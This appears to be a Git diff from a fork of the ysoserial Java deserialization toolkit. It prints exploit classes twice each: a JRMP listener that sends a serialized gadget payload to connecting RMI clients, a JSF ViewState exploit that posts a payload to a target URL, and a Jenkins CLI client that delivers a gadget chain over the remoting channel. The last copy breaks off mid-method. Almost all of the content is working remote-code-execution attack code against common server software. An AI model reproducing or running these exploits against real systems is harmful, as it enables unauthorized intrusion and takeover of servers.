import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||
* client connecting to it and making a call.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPListener implements Runnable {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JRMPListener.class);
|
||||
private final int port;
|
||||
|
||||
private final Object payloadObject;
|
||||
|
||||
private final ServerSocket ss;
|
||||
|
||||
private final Object waitLock = new Object();
|
||||
|
||||
private boolean exit;
|
||||
|
||||
private boolean hadConnection;
|
||||
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
// 去除第一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
protected static Object makeDummyObject(String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {
|
||||
};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
public void waitFor(int i) {
|
||||
try {
|
||||
if (this.hadConnection) {
|
||||
return;
|
||||
}
|
||||
System.err.println("Waiting for connection");
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
} catch (InterruptedException ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
DataInputStream in = new DataInputStream(bufIn);
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
DataOutputStream out = new DataOutputStream(bufOut);
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out, this.payloadObject);
|
||||
break;
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
default:
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException ignored) {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
System.err.println("Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out, payload);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException("unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
}
|
||||
throw new IOException("Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (java.io.IOException e) {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
System.err.println("Sending return with payload for obj " + read);
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(ex, "val", payload);
|
||||
oos.writeObject(ex);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
|
||||
this.hadConnection = true;
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver the specified payload to any
|
||||
* client connecting to it and making a call.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPListener implements Runnable {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JRMPListener.class);
|
||||
private final int port;
|
||||
|
||||
private final Object payloadObject;
|
||||
|
||||
private final ServerSocket ss;
|
||||
|
||||
private final Object waitLock = new Object();
|
||||
|
||||
private boolean exit;
|
||||
|
||||
private boolean hadConnection;
|
||||
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = payloadObject;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
|
||||
this.port = port;
|
||||
this.payloadObject = makeDummyObject(className);
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
// 去除第一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, payloadObject);
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings({"deprecation"})
|
||||
protected static Object makeDummyObject(String className) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {
|
||||
};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
public void waitFor(int i) {
|
||||
try {
|
||||
if (this.hadConnection) {
|
||||
return;
|
||||
}
|
||||
System.err.println("Waiting for connection");
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
} catch (InterruptedException ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
DataInputStream in = new DataInputStream(bufIn);
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
DataOutputStream out = new DataOutputStream(bufOut);
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out, this.payloadObject);
|
||||
break;
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
default:
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException ignored) {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
System.err.println("Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out, payload);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException("unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
}
|
||||
throw new IOException("Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (java.io.IOException e) {
|
||||
throw new MarshalException("unable to read objID", e);
|
||||
}
|
||||
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
System.err.println("Sending return with payload for obj " + read);
|
||||
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
|
||||
|
||||
oos.writeByte(TransportConstants.ExceptionalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(ex, "val", payload);
|
||||
oos.writeObject(ex);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
|
||||
this.hadConnection = true;
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,79 +1,79 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
* <p>
|
||||
* Delivers a gadget payload via JSF ViewState token.
|
||||
* <p>
|
||||
* This will only work if ViewState encryption/mac is disabled.
|
||||
* <p>
|
||||
* While it has been long known that client side state saving
|
||||
* with encryption disabled leads to RCE via EL injection,
|
||||
* this of course also works with deserialization gadgets.
|
||||
* <p>
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
* using server-side state saving
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JSF {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
try {
|
||||
URL u = new URL(args[0]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
if (!(c instanceof HttpURLConnection)) {
|
||||
throw new IllegalArgumentException("Not a HTTP url");
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) c;
|
||||
hc.setDoOutput(true);
|
||||
hc.setRequestMethod("POST");
|
||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||
OutputStream os = hc.getOutputStream();
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(payloadObject);
|
||||
oos.close();
|
||||
byte[] data = bos.toByteArray();
|
||||
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
|
||||
os.close();
|
||||
|
||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
* <p>
|
||||
* Delivers a gadget payload via JSF ViewState token.
|
||||
* <p>
|
||||
* This will only work if ViewState encryption/mac is disabled.
|
||||
* <p>
|
||||
* While it has been long known that client side state saving
|
||||
* with encryption disabled leads to RCE via EL injection,
|
||||
* this of course also works with deserialization gadgets.
|
||||
* <p>
|
||||
* Also, it turns out that MyFaces is vulnerable to this even when
|
||||
* using server-side state saving
|
||||
* (yes, please, let's (de-)serialize a String as an Object).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JSF {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JSF.class.getName() + " <view_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
try {
|
||||
URL u = new URL(args[0]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
if (!(c instanceof HttpURLConnection)) {
|
||||
throw new IllegalArgumentException("Not a HTTP url");
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) c;
|
||||
hc.setDoOutput(true);
|
||||
hc.setRequestMethod("POST");
|
||||
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
|
||||
OutputStream os = hc.getOutputStream();
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(payloadObject);
|
||||
oos.close();
|
||||
byte[] data = bos.toByteArray();
|
||||
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||
os.write(requestBody.getBytes(StandardCharsets.US_ASCII));
|
||||
os.close();
|
||||
|
||||
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -1,119 +1,119 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
* <p>
|
||||
* Jenkins unfortunately is still using a custom serialization based
|
||||
* protocol for remote communications only protected by a blacklisting
|
||||
* application level filter.
|
||||
* <p>
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsCLI {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
c.call(getPropertyCallable(payloadObject));
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
Object getJarLoader = reqCons
|
||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||
prop
|
||||
});
|
||||
return (Callable<?, ?>) getJarLoader;
|
||||
}
|
||||
|
||||
public static InetSocketAddress getCliPort(String jenkinsUrl) throws IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if (!(conn instanceof HttpURLConnection)) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if (hc.getResponseCode() >= 400) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
public static Channel openChannel(InetSocketAddress isa) throws IOException {
|
||||
System.err.println("* Opening socket " + isa);
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(r -> {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
});
|
||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||
System.err.println("* Channel open");
|
||||
return c;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
* <p>
|
||||
* Jenkins unfortunately is still using a custom serialization based
|
||||
* protocol for remote communications only protected by a blacklisting
|
||||
* application level filter.
|
||||
* <p>
|
||||
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JenkinsCLI {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(JenkinsCLI.class);
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[0];
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
c.call(getPropertyCallable(payloadObject));
|
||||
} catch (Throwable e) {
|
||||
log.error(String.valueOf(e));
|
||||
} finally {
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
Reflections.setAccessible(reqCons);
|
||||
Object getJarLoader = reqCons
|
||||
